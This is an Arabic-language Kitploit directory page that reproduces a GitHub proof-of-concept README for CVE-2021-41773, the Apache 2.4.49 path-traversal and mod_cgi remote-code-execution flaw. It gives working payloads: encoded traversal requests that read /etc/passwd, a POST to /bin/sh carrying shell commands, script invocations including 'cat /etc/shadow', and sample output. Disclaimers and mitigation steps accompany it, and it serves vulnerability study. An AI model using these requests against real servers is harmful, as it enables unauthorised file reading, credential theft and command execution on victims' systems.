Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-41773 — إثبات المفهوم لـ CVE-2021-41773 | Kitploit
أدوات/GitHubGitHub/joapath/cve-2021-41773
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubjoapath/cve-2021-41773

CVE-2021-41773

إثبات المفهوم لـ CVE-2021-41773

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-41773 — PoC: Path Traversal + RCE عبر mod_cgi

فقط للاستخدام في البيئات الخاضعة للسيطرة والخاصة بك. لا تستخدمه ضد أنظمة دون إذن.


الوصف

تم تطوير PoC لعرض وفهم الثغرة الأمنية CVE-2021-41773 الموجودة في Apache HTTP Server 2.4.49.

يكمن الخلل في الدالة ap_normalize_path()، التي لم تكن تتحقق بشكل صحيح من الأحرف المشفرة في URL. كان هذا يسمح للمهاجم بالقفز خارج DocumentRoot عبر سلسلة من الأحرف المشفرة (%2e%2e%2f بدلاً من ../)، وقراءة ملفات عشوائية من النظام.

عندما كانت وحدة mod_cgi مفعّلة، كانت الثغرة ترتقي إلى RCE (Remote Code Execution)، مما يسمح بتنفيذ أوامر مباشرة على الخادم بصلاحيات عملية Apache.


الشروط اللازمة للاستغلال

يجب أن يستوفي الخادم جميع هذه الشروط ليكون عرضة للثغرة:

الشرطالتفاصيل
إصدار Apacheبالضبط 2.4.49
توجيه الوصولRequire all granted في الإعدادات
وحدة CGImod_cgi مفعّلة (لـ RCE فقط)

كيف يعمل الهجوم

المرحلة 1 — Path Traversal

كان Apache 2.4.49 يفلتر ../ التقليدية لكنه لا يفلتر نسختها المشفرة في URL. يبني المهاجم مساراً لا يكتشفه الفلتر، لكن نظام التشغيل يفسره بشكل صحيح:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f هي ترميز URL لـ ../. كان Apache يسمح بمرورها، وكان نظام التشغيل يحلها، وكانت النتيجة الوصول إلى ملفات خارج دليل الويب.

المرحلة 2 — RCE عبر mod_cgi

مع تفعيل mod_cgi، يُستخدم path traversal للإشارة إلى /bin/sh بدلاً من ملف. يتعامل معه Apache كسكربت CGI وينفذه. ينتقل الأمر في نص (body) طلب POST كسكربت شل مصغّر:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

يصل ناتج الأمر في استجابة HTTP.


بيئة الاختبار

أنظف طريقة لإعادة إنتاج الثغرة هي باستخدام Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

أو باستخدام صورة Apache 2.4.49 يدوية مع الإعدادات القابلة للاستغلال:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

سأترك ملفات الإعدادات التي استخدمتها للاختبار.

قرارات تقنية للاستغلال

  • لماذا 'urllib3' وليس 'requests'؟

    تقوم requests بإعادة ترميز أحرف المسار تلقائياً قبل إرسالها. هذا يكسر الحمولة لأن الخادم يستقبل %252e بدلاً من %2e. تسمح urllib3 بإرسال المسار دون تعديلات.

  • لماذا .%2e/ وليس %2e%2e/؟
    يفلتر Apache %2e%2e/ في وحدة mod_rewrite. البديل .%2e/ مكافئ دلالياً لكنه يتجاوز الفلتر، لأن تطبيع المسار يحدث بعد التحقق.

القيود

  • يجب أن تكون وحدة mod_cgi مفعّلة حتى يعمل وضع RCE. بدونها، لا يكون ممكناً سوى path traversal.
  • لا يعمل الاستغلال إذا كان Apache خلف WAF يفلتر الترميز المزدوج في المسار.
  • تم اختباره فقط ضد Apache 2.4.49 على Linux. يتطلب الإصدار 2.4.50 تجاوزاً إضافياً (انظر CVE-2021-42013).

استخدام السكربت

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

الوسائط

أمثلة

قراءة /etc/passwd من الخادم

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

تنفيذ الأمر 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

تنفيذ أمر يحتوي على مسافات

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

المخرجات المتوقعة — وضع traversal

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

المخرجات المتوقعة — وضع rce

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

التخفيف

  • تحديث Apache إلى الإصدار 2.4.51 أو أحدث.
  • ضبط Require all denied كقيمة افتراضية.
  • تعطيل mod_cgi إذا لم يكن ضرورياً بشكل صارم.

المراجع

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ هذا المستودع مخصص للأغراض التعليمية فقط.
استخدام هذا الاستغلال ضد أنظمة دون إذن صريح غير قانوني.
تم اختباره حصرياً في بيئات محلية خاضعة للسيطرة.

PoC مطوّرة لأغراض تعليمية ضمن ملف أعمال الأمن الهجومي.

تنزيل الأداة
الوسيطمطلوبالوصف
--targetنعمعنوان URL الأساسي للخادم (مثال: http://localhost:8080)
--modeنعمtraversal لقراءة الملفات، rce لتنفيذ الأوامر
--cmdلاالأمر المراد تنفيذه في وضع rce (الافتراضي: id)